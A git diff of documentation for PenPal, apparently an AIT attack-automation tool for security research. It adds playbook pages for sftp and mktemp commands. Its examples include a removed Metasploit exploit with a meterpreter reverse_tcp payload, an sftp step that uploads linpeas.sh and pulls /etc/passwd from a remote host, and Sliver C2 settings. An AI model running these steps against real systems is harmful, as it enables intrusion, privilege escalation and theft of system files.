Documentation

.gitignore

@@ -160,3 +160,4 @@ cython_debug/
 #  option (not recommended) you can uncomment the following to ignore the entire idea folder.
 #.idea/
 playbooks/
+.penpal.yml

docs/source/configuration/configuration.rst

@@ -21,32 +21,18 @@ PenPal ships with a executable stub called "penpal" that can be called like foll
 
    (Austrian Institute of Technology) https://aecid.ait.ac.at Version: 0.1.0
 
-The configuration-file is in yaml-format. The following yaml-file is an example of a playbook.yml:
+
+The configuration-file is in yaml-format:
 
 .. code-block:: yaml
 
    ###
-
-   vars:
-     $SERVER_ADDRESS: 192.42.0.254
-
    cmd_config:
      loop_sleep: 5
 
    msf_config:
      password: hackhelfer
      server: 10.18.3.86
 
-   commands:
-     - type: shell
-       cmd: nmap $SERVER_ADDRESS
-       error_if: .*test.*
-
-     - type: msf-module
-       cmd: exploit/unix/webapp/zoneminder_snapshots
-       creates_session: "foothold"
-       options:
-         RHOSTS: 192.42.0.254
-       payload_options:
-         LHOST: 192.42.2.253
-       payload: cmd/unix/python/meterpreter/reverse_tcp
+   sliver_config:
+     config_file: /home/attacker/.sliver-client/configs/attacker_localhost.cfg

docs/source/index.rst

@@ -21,7 +21,13 @@ Welcome to PenPal's documentation!
    configuration/command_config
    configuration/msf_config
    configuration/sliver_config
-   configuration/commands/index
+
+.. toctree::
+   :maxdepth: 4
+   :caption: Playbook:
+
+   playbook/vars
+   playbook/commands/index
 
 .. toctree::
    :maxdepth: 1

docs/source/configuration/commands/index.rst → docs/source/playbook/commands/index.rst

@@ -63,9 +63,11 @@ Every command, regardless of the type has the following options:
    shell
    sleep
    ssh
+   sftp
    msf-module
    msf-session
    regex
    debug
+   mktemp
    sliver
    sliver-session

docs/source/playbook/commands/mktemp.rst

@@ -0,0 +1,42 @@
+======
+mktemp
+======
+
+Create temporary files or directories that are deleted when the programm exits.
+The path to the file or directory is storen in a given variable.
+
+.. code-block:: yaml
+
+   ###
+   commands:
+     - type: mktemp
+       cmd: file
+       variable: SOMEFILE
+
+     - type: debug
+       cmd: "$SOMEFILE"
+
+     - type: mktemp
+       cmd: dir
+       variable: TEMPDIR
+
+     - type: debug
+       cmd: "$TEMPDIR"
+
+
+.. confval:: cmd
+
+   Define if a file or directory will be created. Valid
+   options are: *file* or *dir*.
+
+   :type: str
+   :default: ``file``
+
+
+.. confval:: variable
+
+   This setting defines a variable where the path of the
+   temporary file or directory will be stored.
+
+   :type: str
+   :required: ``True``

docs/source/configuration/commands/msf-session.rst → docs/source/playbook/commands/msf-session.rst

@@ -23,6 +23,10 @@ have previously created by msf-modules(see :ref:`msf-module`).
 
    Execute a raw write-operation without reading the output.
 
+   .. note::
+
+      If read and write are both true, the programm will first write and then read.
+
    :type: bool
    :default: ``False``
 

docs/source/playbook/commands/sftp.rst

@@ -0,0 +1,152 @@
+====
+sftp
+====
+
+Upload or download files using SSH. This command is
+also executed by the SSHExecutor and therefor all
+ssh-related settings can be used. SSH-sessions can also
+be used with the sftp-command!
+
+.. note::
+
+   This command caches all the settings so
+   that they only need to be defined once.
+
+.. code-block:: yaml
+
+   vars:
+     $SERVER_ADDRESS: 192.42.0.254
+     $SSH_SERVER: 10.10.10.19
+
+   commands:
+     - type: sftp
+       cmd: put
+       local_path: /tmp/linpeas.sh
+       remote_path: /tmp/linpeas.sh
+       hostname: $SSH_SERVER
+       username: aecid
+       key_filename: "/home/alice/.ssh/id_rsa"
+       creates_session: "attacker"
+
+     # cached ssh-settings. creates new ssh-connection
+     - type: sftp
+       cmd: get
+       remote_path: /etc/passwd
+       local_path: /tmp/remote_passwd
+
+     # reuses existing session "attacker"
+     - type: ssh
+       session: "attacker"
+       cmd: "id"
+
+.. confval:: cmd
+
+   SFTP-command to use. Valid commands are *put* or *get*.
+
+   :type: str
+   :required: ``True``
+
+.. confval:: remote_path
+
+   The filepath on the remote machine.
+
+   :type: str
+   :required: ``True``
+
+.. confval:: local_path
+
+   The filepath on the local machine.
+
+   :type: str
+   :required: ``True``
+
+
+.. confval:: hostname
+
+   This option sets the hostname or ip-address of the
+   remote ssh-server.
+
+   :type: str
+
+.. confval:: port
+
+   Port to connect to on the remote host.
+
+   :type: int
+   :default: ``22``
+
+.. confval:: username
+
+   Specifies the user to log in as on the remote machine.
+
+   :type: str
+
+.. confval:: password
+
+   Specifies the password to use. An alternative would be to use a key_file.
+
+   :type: str
+
+.. confval:: passphrase
+
+   Use this passphrase to decrypt the key_file. This is only necessary if the
+   keyfile is protected by a passphrase.
+
+   :type: str
+
+.. confval:: timeout
+
+   The timeout to drop a connection attempt in seconds.
+
+   :type: float
+
+.. confval:: clear_cache
+
+   Normally all settings for ssh-connections are cached. This allows to defined
+   all settings in one command and all following commands can reuse these settings
+   without set them in every single command. If a new connection with different
+   settings should be configured, this setting allows to reset the cache to default
+   values.
+
+   :type: bool
+   :default: ``False``
+
+   .. note::
+
+       This setting will not clear the session store.
+
+.. confval:: creates_session
+
+   A session name that identifies the session that is created when
+   executing this command. This session-name can be used by using the
+   option "session"
+
+   :type: str
+
+.. confval:: session
+
+   Reuse an existing ssh-session. This setting works only if another
+   ssh-command was executed with the command-option "creates_session"
+
+   :type: str
+
+.. confval:: jmp_hostname
+
+   This option sets the hostname or ip-address of the
+   remote jump server.
+
+   :type: str
+
+.. confval:: jmp_port
+
+   Port to connect to on the jump-host.
+
+   :type: int
+   :default: ``22``
+
+.. confval:: jmp_username
+
+   Specifies the user to log in as on the jmp-host.
+
+   :type: str
+   :default: ``same as username``

docs/source/configuration/config_vars.rst → docs/source/playbook/vars.rst

@@ -1,6 +1,6 @@
-====
-vars
-====
+=========
+variables
+=========
 
 Variables can be defined in the key/value-format. The variables
 can be used in certain configuration places and are just placeholders